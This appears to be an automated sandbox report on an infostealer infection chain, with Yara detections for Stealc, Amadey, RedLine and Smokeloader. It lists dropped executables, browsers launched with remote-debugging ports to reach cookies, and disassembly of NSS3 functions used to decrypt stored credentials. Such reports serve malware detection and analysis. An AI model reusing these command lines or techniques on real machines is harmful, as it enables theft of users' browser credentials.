Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2627096848.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2628818286.000000000113E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2059366246.0000000004F00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	09:29:02
Start date:	09/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:29:03
Start date:	09/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2328 --field-trial-handle=1984,i,16614534286300256734,1037011460224527743,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:29:14
Start date:	09/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:29:14
Start date:	09/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2260 --field-trial-handle=2156,i,937543281221703452,12637460150167344842,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	09:29:14
Start date:	09/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	09:29:15
Start date:	09/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=1992,i,295519456222836343,140382832148699311,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	09:29:48
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\FHCGCAAKJD.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	09:29:48
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	09:29:48
Start date:	09/12/2024
Path:	C:\Users\user\Documents\FHCGCAAKJD.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Documents\FHCGCAAKJD.exe"
Imagebase:	0x240000
File size:	3'230'720 bytes
MD5 hash:	0BC8514721CCB995FA1072D8F167D532
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000E.00000002.2664934156.0000000000241000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	09:29:51
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x70000
File size:	3'230'720 bytes
MD5 hash:	0BC8514721CCB995FA1072D8F167D532
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000002.2701809215.0000000000071000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	09:29:51
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x70000
File size:	3'230'720 bytes
MD5 hash:	0BC8514721CCB995FA1072D8F167D532
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000002.2701812100.0000000000071000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	09:30:00
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x70000
File size:	3'230'720 bytes
MD5 hash:	0BC8514721CCB995FA1072D8F167D532
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000011.00000002.3320333339.0000000000071000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	09:30:26
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe"
Imagebase:	0x7ff7f7f70000
File size:	10'383'544 bytes
MD5 hash:	53306653E88891DA35BDFC1330A2DAFD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	09:30:26
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	09:30:28
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe"
Imagebase:	0x7ff7f7f70000
File size:	10'383'544 bytes
MD5 hash:	53306653E88891DA35BDFC1330A2DAFD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	09:30:34
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe"
Imagebase:	0x400000
File size:	1'940'992 bytes
MD5 hash:	019E86910ED71E979BC9F08877BC950D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000015.00000002.3330555675.0000000004B30000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000015.00000002.3325258344.0000000000FCC000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 34%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	09:30:43
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe"
Imagebase:	0x140000
File size:	1'860'096 bytes
MD5 hash:	AEA9554A885748E0394687CC80792951
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000002.3326687445.0000000000D3A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 37%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	09:30:51
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe"
Imagebase:	0x300000
File size:	1'818'112 bytes
MD5 hash:	426C4CC5CC662DBF06C9232C69E5D989
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000017.00000003.3253234338.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000017.00000002.3313122843.0000000000D7E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000017.00000002.3311695557.0000000000301000.00000040.00000001.01000000.0000001B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 45%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	09:30:59
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe"
Imagebase:	0x6d0000
File size:	970'240 bytes
MD5 hash:	B3A5FCB520F185D12B7A23956D484580
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 24%, ReversingLabs
Has exited:	false

Show Windows behavior

Function 6C636E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C782120,6C637E60), ref: 6C636EBC
TlsGetValue.KERNEL32 ref: 6C636EDF
EnterCriticalSection.KERNEL32(?), ref: 6C636EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6C636F25

Part of subcall function 6C60A900: TlsGetValue.KERNEL32(00000000,?,6C7814E4,?,6C5A4DD9), ref: 6C60A90F
Part of subcall function 6C60A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C60A94F

PR_Unlock.NSS3 ref: 6C636F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6C636FA9
TlsGetValue.KERNEL32 ref: 6C6370B4
EnterCriticalSection.KERNEL32(?), ref: 6C6370C8
PR_CallOnce.NSS3(6C7824C0,6C677590), ref: 6C637104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C637117
SECOID_Init.NSS3 ref: 6C637128
PORT_Alloc_Util.NSS3(00000057), ref: 6C63714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C63717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6371A9
PR_NotifyAllCondVar.NSS3 ref: 6C6371CF
PR_Unlock.NSS3 ref: 6C6371DD
free.MOZGLUE(?), ref: 6C6371EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C637208
free.MOZGLUE(00000000), ref: 6C637221
free.MOZGLUE(00000001), ref: 6C637235
TlsGetValue.KERNEL32 ref: 6C63724A
EnterCriticalSection.KERNEL32(?), ref: 6C63725E
PR_NotifyCondVar.NSS3 ref: 6C637273
PR_Unlock.NSS3 ref: 6C637281
SECMOD_DestroyModule.NSS3(00000000), ref: 6C637291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6372B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6372D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6372E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C637301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C637310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C637335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C637344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C637363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C637372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6C770148,,defaultModDB,internalKeySlot), ref: 6C6374CC
free.MOZGLUE(00000000), ref: 6C637513
free.MOZGLUE(00000000), ref: 6C63751B
free.MOZGLUE(00000000), ref: 6C637528
free.MOZGLUE(00000000), ref: 6C63753C
free.MOZGLUE(00000000), ref: 6C637550
free.MOZGLUE(00000000), ref: 6C637561
free.MOZGLUE(00000000), ref: 6C637572
free.MOZGLUE(00000000), ref: 6C637583
free.MOZGLUE(00000000), ref: 6C637594
free.MOZGLUE(00000000), ref: 6C6375A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6C6375BD
free.MOZGLUE(00000000), ref: 6C6375C8
free.MOZGLUE(00000000), ref: 6C6375F1
PR_NewLock.NSS3 ref: 6C637636
SECMOD_DestroyModule.NSS3(00000000), ref: 6C637686
PR_NewLock.NSS3 ref: 6C6376A2

Part of subcall function 6C6E98D0: calloc.MOZGLUE(00000001,00000084,6C610936,00000001,?,6C61102C), ref: 6C6E98E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6C6376B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6C637707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C63771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C637731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6C63774A
DeleteCriticalSection.KERNEL32(?), ref: 6C637770
free.MOZGLUE(?), ref: 6C637779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C63779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6377AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6C6377C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C6377DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6C637821
PORT_Alloc_Util.NSS3(?), ref: 6C637837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6C63785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C63786F
SECMOD_AddNewModuleEx.NSS3 ref: 6C6378AC
free.MOZGLUE(00000000), ref: 6C6378BE
SECMOD_AddNewModuleEx.NSS3 ref: 6C6378F3
free.MOZGLUE(00000000), ref: 6C6378FC
free.MOZGLUE(00000000), ref: 6C63791C

Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107AD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107CD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107D6
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5A204A), ref: 6C6107E4
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,6C5A204A), ref: 6C610864
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C610880
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,6C5A204A), ref: 6C6108CB
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108D7
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108FB

Strings

dll, xrefs: 6C63788E
sql:, xrefs: 6C6376FE
Spac, xrefs: 6C637389
rdb:, xrefs: 6C637744
dbm:, xrefs: 6C637716
,defaultModDB,internalKeySlot, xrefs: 6C63748D, 6C6374AA
NSS Internal Module, xrefs: 6C6374A2, 6C6374C6
kbi., xrefs: 6C637886
extern:, xrefs: 6C63772B
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6C6374C7

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: 61a9e73e295d2fa28bda68bbe228d9bc83f849969015012f08dc2c632907c223
Instruction ID: 21ec3afcd950a6e91ba28d9d334f9e1843a247c15e295ee562027f9e7a83d304
Opcode Fuzzy Hash: 61a9e73e295d2fa28bda68bbe228d9bc83f849969015012f08dc2c632907c223
Instruction Fuzzy Hash: A65227B1E01225DBEF118F64CE087AA7BB4BF06349F146038ED0DA7A41E731D954CBA9

Function 6C65BFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6C65C0C8

Part of subcall function 6C6E9440: LeaveCriticalSection.KERNEL32 ref: 6C6E95CD
Part of subcall function 6C6E9440: TlsGetValue.KERNEL32 ref: 6C6E9622
Part of subcall function 6C6E9440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6C6E964E

PR_EnterMonitor.NSS3 ref: 6C65C0AE

Part of subcall function 6C6E9090: LeaveCriticalSection.KERNEL32 ref: 6C6E91AA
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E9212
Part of subcall function 6C6E9090: _PR_MD_WAIT_CV.NSS3 ref: 6C6E926B

Part of subcall function 6C610600: GetLastError.KERNEL32(?,?,?,?,?,6C6105E2), ref: 6C610642
Part of subcall function 6C610600: TlsGetValue.KERNEL32(?,?,?,?,?,6C6105E2), ref: 6C61065D
Part of subcall function 6C610600: GetLastError.KERNEL32 ref: 6C610678
Part of subcall function 6C610600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6C61068A
Part of subcall function 6C610600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C610693
Part of subcall function 6C610600: PR_SetErrorText.NSS3(00000000,?), ref: 6C61069D
Part of subcall function 6C610600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,12EFDB05,?,?,?,?,?,6C6105E2), ref: 6C6106CA
Part of subcall function 6C610600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6C6105E2), ref: 6C6106E6

PR_EnterMonitor.NSS3 ref: 6C65C0F2
PR_ExitMonitor.NSS3 ref: 6C65C10E
PR_ExitMonitor.NSS3 ref: 6C65C081

Part of subcall function 6C6E9440: TlsGetValue.KERNEL32 ref: 6C6E945B
Part of subcall function 6C6E9440: TlsGetValue.KERNEL32 ref: 6C6E9479
Part of subcall function 6C6E9440: EnterCriticalSection.KERNEL32 ref: 6C6E9495
Part of subcall function 6C6E9440: TlsGetValue.KERNEL32 ref: 6C6E94E4
Part of subcall function 6C6E9440: TlsGetValue.KERNEL32 ref: 6C6E9532
Part of subcall function 6C6E9440: LeaveCriticalSection.KERNEL32 ref: 6C6E955D

PR_EnterMonitor.NSS3 ref: 6C65C068

Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90AB
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90C9
Part of subcall function 6C6E9090: EnterCriticalSection.KERNEL32 ref: 6C6E90E5
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E9116
Part of subcall function 6C6E9090: LeaveCriticalSection.KERNEL32 ref: 6C6E913F

Part of subcall function 6C610600: GetProcAddress.KERNEL32(?,?), ref: 6C610623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6C65C14F
PR_LoadLibraryWithFlags.NSS3 ref: 6C65C183
free.MOZGLUE(00000000), ref: 6C65C18E
PR_LoadLibrary.NSS3(?), ref: 6C65C1A3
PR_EnterMonitor.NSS3 ref: 6C65C1D4
PR_ExitMonitor.NSS3 ref: 6C65C1F3
PR_CallOnce.NSS3(6C782318,6C65CA70), ref: 6C65C210
PR_EnterMonitor.NSS3 ref: 6C65C22B
PR_ExitMonitor.NSS3 ref: 6C65C247
PR_EnterMonitor.NSS3 ref: 6C65C26A
PR_ExitMonitor.NSS3 ref: 6C65C287
PR_UnloadLibrary.NSS3(?), ref: 6C65C2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6C65C392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C65C3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6C65C3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6C65C782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6C65C7B5
PR_UnloadLibrary.NSS3(?), ref: 6C65C7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6C65C82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C65C8BF
PORT_Alloc_Util.NSS3(?), ref: 6C65C8D5
free.MOZGLUE(00000000), ref: 6C65C900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C65C9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C65C9E5
free.MOZGLUE(00000000), ref: 6C65CA5A

Strings

NSC_ModuleDBFunc, xrefs: 6C65C0FC
PKCS 11, xrefs: 6C65C2F9, 6C65C314
FC_GetInterface, xrefs: 6C65C054
NSS_FORCE_TOKEN_LOCK, xrefs: 6C65C77D
NSC_GetInterface, xrefs: 6C65C04F
NSS_DISABLE_UNLOAD, xrefs: 6C65C7B0
NSC_GetFunctionList, xrefs: 6C65C093
FC_GetFunctionList, xrefs: 6C65C098
NSS_ReturnModuleSpecData, xrefs: 6C65C275
NSS_DEBUG_PKCS11_MODULE, xrefs: 6C65C38D
Vendor NSS FIPS Interface, xrefs: 6C65C34A
nss_mod_log, xrefs: 6C65C3CC

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: 66dca5b715c29d35883fc81404a055ddb479e4e1eb869f56710bd430b3e2f260
Instruction ID: b7d909a5adcf874906af8c990bf8d583d237921679fa7a327657017a4c8488c3
Opcode Fuzzy Hash: 66dca5b715c29d35883fc81404a055ddb479e4e1eb869f56710bd430b3e2f260
Instruction Fuzzy Hash: AA429DB1A052049FDF00DF64C84AB9A3BB0FB4B349FB54039DA068BB25E731D565CB99

Function 6C733FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6C733FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C733FFE
malloc.MOZGLUE(-00000003), ref: 6C734016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6C76FC62), ref: 6C73404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C73407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C7340A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C7340D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C734112
malloc.MOZGLUE(00000000), ref: 6C73411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6C73414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C734160
free.MOZGLUE(?), ref: 6C73416C
malloc.MOZGLUE(?), ref: 6C7341AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6C7341EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6C734520), ref: 6C734244
GetEnvironmentStrings.KERNEL32 ref: 6C73424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C734263
